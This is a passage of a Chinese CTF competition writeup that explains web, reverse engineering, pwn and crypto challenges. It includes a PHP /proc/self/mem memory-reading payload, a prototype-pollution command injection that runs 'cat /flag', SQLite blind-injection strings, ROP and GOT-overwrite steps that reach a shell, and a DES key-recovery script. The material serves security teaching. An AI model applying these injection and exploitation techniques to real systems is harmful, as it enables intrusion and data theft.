Ps 在读提交上来的wp时发现很多同学都是先跑出用户在跑邮箱 并且猜测出了原过滤器还构造了复杂的playload. 其实可以直接跑邮箱地址不用构造用户查询.
原本设计的是跑出ldap密码的题目. 比赛前觉得难度可能有点高不适合新生. 在收集的wp中居然有大佬跑出了原先设计的ldap密码. dltql
### 12 Hideandseek
难度:难
题目提示1： 要怎样才能读到内存里面的flag呢?
题目提示2： linuxの奇妙文件系统
<?php
highlight_file(__FILE__);
//docker
//FROM php:8.1.0
//disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask
//disable_classes = FFI
//chmod -R 0555 html/
//php -S 0.0.0.0:8000
function main(){
$flag=file_get_contents('/flag');//看到这个flag了吗 (°▽°)ノ✿
if($flag==''){
die('看来你失败了');
}
file_put_contents('/flag','');//我把它覆盖了都不给你 （￣▽￣）
test();
}
function test(){
eval($_REQUEST['eval']);//来试试读flag吧 只有一次机会哦 执行结束flag真的会消失的说 重启容器间隔会很长时间呢 本地试好了再来试试吧 (〜￣△￣)〜
}
if(isset($_REQUEST["eval"])){
main();
}
?>
本题需要完成读取php进程内存操作
分析代码: 读取flag文件赋给$flag局部变量,目标是读取这个$flag变量的内容
但是走到test函数时不能读到其他函数的局部变量
只能通过读取内存获得flag.
这时可利用linux虚拟文件系统的特性读取内存
读取 /proc/self/maps 获取 进程自身内存布局
使用获取到的布局信息读取自身内存
/proc/self/mem (需要给出正确的偏移量才能成功读取)
?eval=$maps = file_get_contents('/proc/self/maps');$handle=fopen('/proc/self/mem','r');$r=explode(PHP_EOL,$maps);var_dump(explode('-',$r[7])[0]);fseek($handle,hexdec(explode('-',$r[7])[0]));echo fread($handle,10000000);
在dump出的内存寻找flag{字符串 即可获得flag
### 13 dirtyrce
难度:难
var express = require('express');
var nodeCmd = require('node-cmd');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
const port = 80;
app.use(bodyParser.urlencoded({
extended: true
})).use(bodyParser.json());
function isValidIP(ip) {
var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/;
return reg.test(ip);
}
app.post("/ping",
function(req, res, next) {
b = req.body.cmd;
if (req.body.ping === undefined) {
res.send('invalid parm');
return;
}
ping = req.body.ping
if (ping.time !== undefined) {
time = Number(ping.time);
if (time > 10 || time < 1) {
res.send('invalid time');
return;
}
if (Object.keys(ping).length != 1 && ping.ip !== undefined && ping.ip != '') {
if (!isValidIP(ping.ip)) {
res.send('invalid ip addr');
return;
}
}
} else {
res.send('need time parm');
return;
}
ip = ((ping.ip !== undefined && ping.ip != '') ? ping.ip: '114.114.114.114');
nodeCmd.run('ping -c ' + time + ' ' + ip, //WINDOWS USE -n
function(err, data, stderr) {
res.send(data);
return;
});
});
app.get('/',
function(req, res, next) {
res.redirect('index');
});
app.get('/index',
function(req, res, next) {
res.send('<title>ping test</title><form action="/ping" method="POST">Ip:<input type="text" name="ping[ip]"" placeholder="default value 114 dns"><br>Times:<input type="text" name="ping[time]" value="1"><input type="submit" value="Ping !"></form> ');
});
app.listen(port);
/ping 路由内有命令执行操作 但是ip经过严格的正则校验 无法绕过,time也有强制类型转换.
只能想办法绕过这个校验.
通读代码发现当输入参数数量为1且参数为time时不会校验flag内容.
在后续还会使用三元运算符判断ip是否为空.
构造原型污染 污染ping数组的原型 即可完成以上条件 达到命令执行的效果.
ping[__proto__][ip]=|cat /flag&ping[time]=10
### 14 wschat
一个 nodejs+sqllite写的轻量聊天室
难度:?
本题考察特殊sql注入点的利用
现在使用ws协议的网站越来越多 (出题时我就想到了为什么不出一道题目来学学ws注入)
题目也使用了protobuf这是一种像json的结构化数据,在现在的httprpc中也非常常见.
该题前后端交互使用了socket.io，通信使用protobuf做结构化数据.
前端代码做了轻度混淆,并且具有反调试功能.
阅读前端代码发现,用户输入存在正则校验.
开始解题
去除反调试和正则校验(修改js)
手动测试发现注入点
登陆处存在注入
猜测语句为select xx from xx where xx='username'
注册一个账号adad 使用布尔注入
sqlite的布尔盲注方法
判断表数量
adad' and (select count(*) from sqlite_master where type='table')=5 --
表名
and substr((select name from sqlite_master where type='table' limit 0,1),1,1)='T'
列名
and substr((SELECT sql FROM sqlite_master where name='user_table'),33,1)='I'
记录
and substr((SELECT f16g FROM f16g_1s_1n_th1s_table),1,1)='f'
本题有两种解题方法
第一种方法
编写js脚本在浏览器运行 进行注入.
第二种方法非常复杂 脱离浏览器编写脚本直接与ws后端通信.
可惜在比赛结束前没有队伍解出这道题.但是在结束后or4nge团队提交了这道题目的wp 且使用了第二种方法.完美地完成了该题.
大家有兴趣可以看看or4nge战队大佬的[题解](user_cancel)
（<https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/#wschat>）
# RE
### 15 signin
直接查看字符串表即可获得flag
### 16 happyCTF
这道题是用c++写的，其实代码核心很简单就只是单字节异或，所以把密文当成明文输入就能得到flag,只是验证的过程稍微麻烦，是一个递归验证的算法，不过没什么用换成strcmp效果是一样的，只是起到一个迷惑的作用，原始代码很简单，但是开启代码优化以后再用ida反编译看起来就很乱了，这也是起到迷惑作用。加密的核心部分是用lambda匿名函数实现的起到一个加密代码隐藏的作用，防止这个最简单的加密被直接找到，所以下一次试试把密文当成flag输入，说不定有惊喜
### 17 Remember Crypt 4
如果对ctf常用的加密算法熟悉的话，看到ida的反汇编会很眼熟，这是一道很简单的rc4加密，该算法的特点是它可以自定义密码表，所以可以起到一点迷惑作用，但是没什么用，rc4是对称加密，所以只需把密文当成明文重新加密一边就能得到明文，所以碰到一些加密算法可以试试这个办法，万一是对称加密呢，直接就出flag了
贴一份rc4的代码
void rc4_init(unsigned char*s,unsigned char*key,unsigned long len)//s最开始是传入的长度为256的char型空数组，用来存放初始化后的s
//key是密钥，内容可定义 //最后一个len是密钥的长度
{
int i=0;
int j=0;
unsigned char k[256]={};
unsigned char temp = 0;
for(i=0;i<256;i++)
{
s[i]=i; //0-255赋给s
k[i]=key[i%len]; //将k重新计算
}
for(i=0;i<256;i++)
{
j=(j+s[i]+k[i])%256; //给j赋
temp=s[i];
s[i]=s[j];
s[j]=temp; //s[i]和s[j]交换
}
}
### 18 EasyRe
题目是基于Linux
Signal机制的VM题目，parent进程和child进程间通过signal通信，执行opcode，调试难度比较高。并且signal的注册在main函数之前。
具体解法可以参照or4nge战队以及chamd5团队给出的wp
（<https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/#easyre>）
（<https://mp.weixin.qq.com/s/KgxHOFH52EE8z7NnMTSIDA>）
# PWN
### 19 NssShop
难度:签到题
真 签到题 不会PWN的同学也可以来试试
一道非常简单的整数溢出题
在计算总价格时会发生溢出
达成0元购(x)
### 20 justdoit
把软件载入ida看一看反编译，很普通，发现主函数调用了read(),然后又调用了这个read_long(),看一眼内容
没什么奇怪的地方，看看反汇编
发现了奇怪的指令，add rbp,rax,而rax是上面read_long中atoi的输出，所以我们可以控制一下rbp的值
题目很简单，没有pie所以可以用rop，没有canary所以可以用bof,也可以部分劫持got表,也给了libc,我们可以用puts_plt 来泄漏
libc 的地址，通过一些调试之后，发现可以在payload中再次调用main函数来控制4个块的payload
在堆栈里，我们将main地址推送到 0x7fffffffde70 并添加 rbp 到达 0x7fffffffde68 的ip
然后当程序调用 leave,ret 时，rbp 会被设置为 = 0x00000a3131313131。
现在的 rsp 是 0x7ffffffffde78，但是在返回到 main 函数之后，有这两条指令
push rbp
和
mov rbp, rsp
看上面的堆栈图，红色块是前三个read_long()块里面的第二个，这个块我们可以放任意内容（块3需要放main地址,块1放string控制rbp）,然后用payload
pop_rdi, address, puts, ret去泄露libc，然后返回main函数重用漏洞。
所以现在只需要放入payload pop_rdi、/bin/sh、system 然后控制 rbp 即可获得 shell。
### 21 reallNeedGoodLuck
这个题就比较有意思了，在IDA可以看到代码很简单，代码内容就是可以让你在任意地址写入4个字节，软件也没有pie所以地址都是固定的，也可以劫持got表。
首先，把exit GOT改成main，这样我们就有了main函数的无限循环。然后我们可以根据需要覆盖任意多次。
题目的一种比较明显的解法是把atoi函数更改为system，然后将字符串“/bin/sh”放入nptr变量中，然后在调用atoi("/bin/sh")时，程序将执行system("
/bin /sh")，然后get shell
所以问题就是如何替换到正确的地址，因为atoi已经调用过，所以got表中有其libc地址，所以通过用system
函数地址的最后三个字节覆盖原始地址的最后三个字节即可，需要一些好运
### 22 iterator
在处理迭代器时，没有合理的判断迭代器范围，导致了指针越界。合理布局内存可以覆写Vector的结构体，执行任意内存读写，最终劫持Got表。
此处可以参考地运团队dalao的wp：
<https://mp.weixin.qq.com/s/C0Vn_5NnGCd8Sn6--otsgA>
# CRYPTO
### 23 EzDES
一轮des没有多轮s盒干扰，所以该题难度是对des加密流程和算法的了解，可以通过穷举密钥和差分分析等方法实现，该脚本主要的思想是将明文加密到一半得到s盒置换前的数据，将密文解密到一半得到s盒置换后的数据，异或这两组数据可得可能的des密钥，然后将可能的des密钥存储到数组中，比对3组明密文，即可得出密钥。多轮的des加密差分分析思想也是同理，通过多组明密文得出密钥的可能性，选择最大可能性的密钥。
# -*- coding: UTF-8 -*- # Plaintext = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F']
def twoto16(new_p_box_list):
str = []
for i in range(8):
sum = new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0
#print(sum)
str.append(hex(sum))
return str
# 进制转换 十六进制转换二进制以及二进制转换为十六进制数
def hex_to_binary(str):
initialplaintext = []
initialresult = bin(int(str,16))[2:]
initialresult = initialresult.zfill(len(str)*4)
for i in range(len(initialresult)):
initialplaintext.append(initialresult[i])
return initialplaintext
def binary_to_hexadecimal(bin_list):
bin_str = ''.join(bin_list)
hstr = hex(int(bin_str, 2))[2:].upper()
l = len(bin_str) // 4
for i in range(l - len(hstr)):
hstr = "0" + hstr
return hstr
#初始置换IP
_ip = [57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7,
56,48,40,32,24,16,8,0,
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6
]
def substitution(table):
result_table = [0]*64
for i in range(64) :
result_table[i] = table[_ip[i]]
return result_table
#初始逆置换IP
_fp = [39,7,47,15,55,23,63,31,
38,6,46,14,54,22,62,30,
37,5,45,13,53,21,61,29,
36,4,44,12,52,20,60,28,
35,3,43,11,51,19,59,27,
34,2,42,10,50,18,58,26,
33,1,41,9,49,17,57,25,
32,0,40,8,48,16,56,24
]
_fp2 = [57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7,
56,48,40,32,24,16,8,0,
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
]
def inverse_substitution(table) :
result_table = [0] *64
for i in range(64) :
result_table[i] = table[_fp[i]]
return result_table
def reverse_substitution(table):
result_table = [0]*64
for i in range(64):
result_table[i] = table[_fp2[i]]
return result_table
#扩展置换
_extend_table = [
31,0,1,2,3,4,
3,4,5,6,7,8,
7,8,9,10,11,12,
11,12,13,14,15,16,
15,16,17,18,19,20,
19,20,21,22,23,24,
23,24,25,26,27,28,
27,28,29,30,31,0
]
def extend_replacement(Right_table) :
extend_list = [0] * 48
for i in range(48):
extend_list[i] = Right_table[_extend_table[i]]
return extend_list
#与子密钥异或
def xor(lits,Key):
result = []
for i in range(len(lits)):
result.append(int(lits[i]) ^ int(Key[i]))
return result
#S盒替换
S1 = [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]
S2 = [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]
S3 = [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]
S4 = [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]
S5 = [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]
S6 = [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]
S7 = [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]
S8 = [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]
S_list = [S1, S2, S3, S4, S5, S6, S7, S8]
#S盒置换
def s_box_replace(xor_list_key):
result = []
for i in range(8):
row = int(xor_list_key[i * 6] + xor_list_key[i * 6 + 5], 2)
column = int(xor_list_key[i * 6 + 1] + xor_list_key[i * 6 + 2] + xor_list_key[i * 6 + 3] + xor_list_key[i * 6 + 4], 2)
s_result=S_list[i][row*16+column]
num = bin(s_result)[2:].zfill(4)
result.extend(num)
return result
def _s_box_replace(new_p_box_list):
result = [[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]]]
for i in range(8):
sp = [0,0,0,0]
sp[0] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),0,16)
sp[1] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),16,32)
sp[2] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),32,48)
sp[3] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),48,64)
for j in range(4):
row = [0,0,0,0]
clum = [0,0,0,0]
row[j]= int(sp[j]) // 16
clum[j] = int(sp[j]) % 16
_num1 = [0,0]
_num2 = [0,0,0,0]
_num1 = bin(clum[j])[2:].zfill(2)
_num2 = bin(clum[j])[2:].zfill(4)
result[i][j] =[int(_num1[0]),int(_num2[0]),int(_num2[1]),int(_num2[2]),int(_num2[3]),int(_num1[1])]
return result
#p盒置换
p_box = [16, 7, 20, 21, 29, 12, 28, 17,
1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9,
19, 13, 30, 6, 22, 11, 4, 25]
_p_box = [9,17,23,31,13,28,2,18,
24,16,30,6,26,20,10,1,
8,14,25,3,4,29,11,19,
32,12,22,7,5,27,15,21]
def p_box_replace(str):
result = [0] * 32
for i in range(32):
result[i] = str[p_box[i] - 1]
return result
def _p_box_replace(str):
result = [0] * 32
for i in range(32):
result[i] = str[_p_box[i] - 1]
return result
def key_poss(plaintext, miwen, shu):
#print("明文", shu, ":", plaintext)
# #print("密钥:",key_table)
#将明文和密钥16进制字符串转为2进制列表
plaintext_result = hex_to_binary(plaintext)
miwen_result = hex_to_binary(miwen)
#将明文和密钥2进制字符列表转为2进制整型列表
plaintext_result_int = list(map(int,plaintext_result))
miwen_result_int =list(map(int,miwen_result))
#对明文做初始置换
initial_table=substitution(plaintext_result_int)
initial_str=binary_to_hexadecimal(list(map(str,initial_table)))
#print("明文", shu, "的初始置换:",initial_str)
L_list = [initial_table[i] for i in range(32)]
R_list = [initial_table[i] for i in range(32,64)]
#print("明文", shu, "的R边:", R_list)
# L_new_list=R_list
#进行扩展置换
extend_list=extend_replacement(R_list)
# #print (extend_list)
new_extend_list= [[extend_list[i] for i in range(0, 6)],
[extend_list[i] for i in range(6, 12)],
[extend_list[i] for i in range(12, 18)],
[extend_list[i] for i in range(18, 24)],
[extend_list[i] for i in range(24, 30)],
[extend_list[i] for i in range(30, 36)],
[extend_list[i] for i in range(36, 42)],
[extend_list[i] for i in range(42, 48)]]
#print("明文", shu, "的扩展置换:", new_extend_list)
#miwen caozuo
#IP ni zhihuan
_IP_table = reverse_substitution(miwen_result_int)
_IP__str = binary_to_hexadecimal(list(map(str, _IP_table)))
# #print(_IP__str)
#miwen L R
_L_list = [_IP_table[i] for i in range(32)]
_R_list = [_IP_table[i] for i in range(32, 64)]
_r_list_new = xor(_R_list, L_list)
#_P zhihuan
_p_box_list=_p_box_replace(_r_list_new)
new_p_box_list = [[_p_box_list[i] for i in range(0, 4)],
[_p_box_list[i] for i in range(4, 8)],
[_p_box_list[i] for i in range(8, 12)],
[_p_box_list[i] for i in range(12, 16)],
[_p_box_list[i] for i in range(16, 20)],
[_p_box_list[i] for i in range(20, 24)],
[_p_box_list[i] for i in range(24, 28)],
[_p_box_list[i] for i in range(28, 32)],]
# #print(new_p_box_list)
s_in = [[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]]]
for i in range(8):
for j in range(4):
sp = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
t = new_p_box_list[i][0] * 2 ** 3 + new_p_box_list[i][1] * 2 ** 2 + new_p_box_list[i][2] * 2 ** 1 + \
new_p_box_list[i][3] * 2 ** 0
sp[i][0] = S_list[i].index(t, 0, 16)
#print(sp[0])
sp[i][1] = S_list[i].index(t, 16, 32)
sp[i][2] = S_list[i].index(t, 32, 48)
sp[i][3] = S_list[i].index(t, 48, 64)
row = [[0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3],
[0, 1, 2, 3]]
clum = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
# row[i][0]= 0
# #print(row[i])
clum[i][j] = (int(sp[i][j]) % 16)
_num1 = [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]
_num2 = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
_num1[i] = bin(row[i][j])[2:].zfill(2)
_num2[i] = bin(clum[i][j])[2:].zfill(4)
s_in[i][j] = [int(_num1[i][0]), int(_num2[i][0]), int(_num2[i][1]), int(_num2[i][2]), int(_num2[i][3]),
int(_num1[i][1])]
# return result
# #print(s_in)
key_possible = [
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]]]
for i in range(8):
for j in range(4):
for k in range(6):
key_possible[i][j][k] = int(s_in[i][j][k]) ^ int(new_extend_list[i][k])
return key_possible
key_real = [[0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0]]
key1 = []
key2 = []
key3 = []
key4 = []
key5 = []
key6 = []
key7 = []
key8 = []
def cryptanalysis(key_poss1, key_poss2, key_poss3):
for j in range(4):
for k in range(4):
if key_poss1[0][0] == key_poss2[0][j] == key_poss3[0][k] or key_poss1[0][1] == key_poss2[0][j] == \
key_poss3[0][k] or \
key_poss1[0][2] == key_poss2[0][j] == key_poss3[0][k] or key_poss1[0][3] == key_poss2[0][j] == \
key_poss3[0][k]:
key1.append(key_poss2[0][j])
# if len(key1) == 1:
#print("key1:", key1)
if key_poss1[1][0] == key_poss2[1][j] == key_poss3[1][k] or key_poss1[1][1] == key_poss2[1][j] == \
key_poss3[1][k] or \
key_poss1[1][2] == key_poss2[1][j] == key_poss3[1][k] or key_poss1[1][3] == key_poss2[1][j] == \
key_poss3[1][k]:
key2.append(key_poss2[1][j])
# if len(key2) == 1:
#print("key2:", key2)
if key_poss1[2][0] == key_poss2[2][j] == key_poss3[2][k] or key_poss1[2][1] == key_poss2[2][j] == \
key_poss3[2][k] or key_poss1[2][2] == key_poss2[2][j] == key_poss3[2][k] or key_poss1[2][3] == \
key_poss2[2][j] == key_poss3[2][k]:
key3.append(key_poss2[2][j])
# if len(key3) == 1:
#print("key3:", key3)
if key_poss1[3][0] == key_poss2[3][j] == key_poss3[3][k] or key_poss1[3][1] == \
key_poss2[3][j] == key_poss3[3][k] or key_poss1[3][2] == key_poss2[3][j] == \
key_poss3[3][k] or key_poss1[3][3] == key_poss2[3][j] == key_poss3[3][k]:
key4.append(key_poss2[3][j])
# if len(key4) == 1:
#print("key4:", key4)
if key_poss1[4][0] == key_poss2[4][j] == key_poss3[4][k] or key_poss1[4][1] == \
key_poss2[4][j] == key_poss3[4][k] or key_poss1[4][2] == key_poss2[4][j] == key_poss3[4][k] \
or key_poss1[4][3] == key_poss2[4][j] == key_poss3[4][k]:
key5.append(key_poss2[4][j])
# if len(key5)==1:
#print("key5:", key5)
if key_poss1[5][0] == key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][1] == \
key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][2] == \
key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][3] == \
key_poss2[5][j] == key_poss3[5][k]:
key6.append(key_poss2[5][j])
# if len(key6)==1:
#print("key6:", key6)
if key_poss1[6][0] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][1] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][2] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][3] == key_poss2[6][j] == key_poss3[6][k]:
key7.append(key_poss2[6][j])
# if len(key7) == 1:
#print("key7:", key7)
if key_poss1[7][0] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][1] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][2] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][3] == key_poss2[7][j] == key_poss3[7][k]:
key8.append(key_poss2[7][j])
#print("key8:", key8)
#print("key zhaodaol")
key_real[0] = key1[0]
key_real[1] = key2[0]
key_real[2] = key3[0]
key_real[3] = key4[0]
key_real[4] = key5[0]
key_real[5] = key6[0]
key_real[6] = key7[0]
key_real[7] = key8[0]
if __name__ == '__main__':
plaintext1 = "4845AB454511C0F0"
miwen1 = "2EA85F08AA80C2D2"
plaintext2 = "0123456789ABCDEF"
miwen2 = "0293A8B9E45FCE5D"
plaintext3 = "81120015A001FDF1"
miwen3 = "E88382207800FE7A"
plaintext1 = input("请输入第一组明文：")
miwen1 = input("请输入第一组密文：")
plaintext2 = input("请输入第二组明文：")
miwen2 = input("请输入第一组密文：")
plaintext3 = input("请输入第三组明文：")
miwen3 = input("请输入第一组密文：")
key_poss1 = key_poss(plaintext1, miwen1, 1)
key_poss2 = key_poss(plaintext2, miwen2, 2)
key_poss3 = key_poss(plaintext3, miwen3, 3)
#print(key_poss1[0],key_poss2[0],key_poss3[0],sep='\n')
cryptanalysis(key_poss1, key_poss2, key_poss3)
# miyao = twoto16(key_real)
print("经过差分密码分析得知，密钥为：\n", key_real)
# #print("miyao:",miyao)
### 24 素数
难度：入门
该题主要考察大素数检测的知识，根据费马小定理设计的rabin_Miller算法是效率最高的算法之一，虽然并不能100%保证通过检测的数一定是素数（比如561，伪质数），但是再添加足够多的底数后，是可以保证通过检测的数绝大概率可用的（伪质数出现概率大概为2的100次方分之一），该素性检测算法现如今应用于各类加密算法。顺道一提，另一种可以确定性检测素性（不会出现误测）的AKS素性检测的基本理念也是费马小定理，只是在多项式的时间复杂度内排除掉了被检测数是所有种类的伪质数的情况。
脚本如下：
import random
def rabin_miller(num):
s = num - 1
t = 0
while s % 2 == 0:
s = s // 2
t += 1
for trials in range(5):
a = random.randrange(2, num - 1)
v = pow(a, s, num)
if v != 1:
i = 0
while v != (num - 1):
if i == t - 1:
return False
else:
i = i + 1
v = (v ** 2) % num
return True
def is_prime(num):
# 排除0,1和负数
if num < 2:
return False
# 创建小素数的列表,可以大幅加快速度
# 如果是小素数,那么直接返回true
small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]
if num in small_primes:
return True
# 如果大数是这些小素数的倍数,那么就是合数,返回false
for prime in small_primes:
if num % prime == 0:
return False
# 如果这样没有分辨出来,就一定是大整数,那么就调用rabin算法
return rabin_miller(num)
# 得到大整数,默认位数为1024
def get_prime(key_size=1024):
while True:
num = random.randrange(2**(key_size-1), 2**key_size)
if is_prime(num):
return num
if __name__ == '__main__':
print("print check number")
a=input()
a= int(a)
if a > 0:
print(is_prime(a))
### 25 键盘侠
根据给出的文字
对应键盘上的按键画图案
对应字符分别为
C L C K O U T H K
根据要求得到flag
flag{CLCKOUTHK}
### 26 silent_peeper
sage已经封装好了这个攻击，得到a,b后算出key进行AES解密即可
p = 174807157365465092731323561678522236549173502913317875393564963123330281052524687450754910240009920154525635325209526987433833785499384204819179549544106498491589834195860008906875039418684191252537604123129659746721614402346449135195832955793815709136053198207712511838753919608894095907732099313139446299843
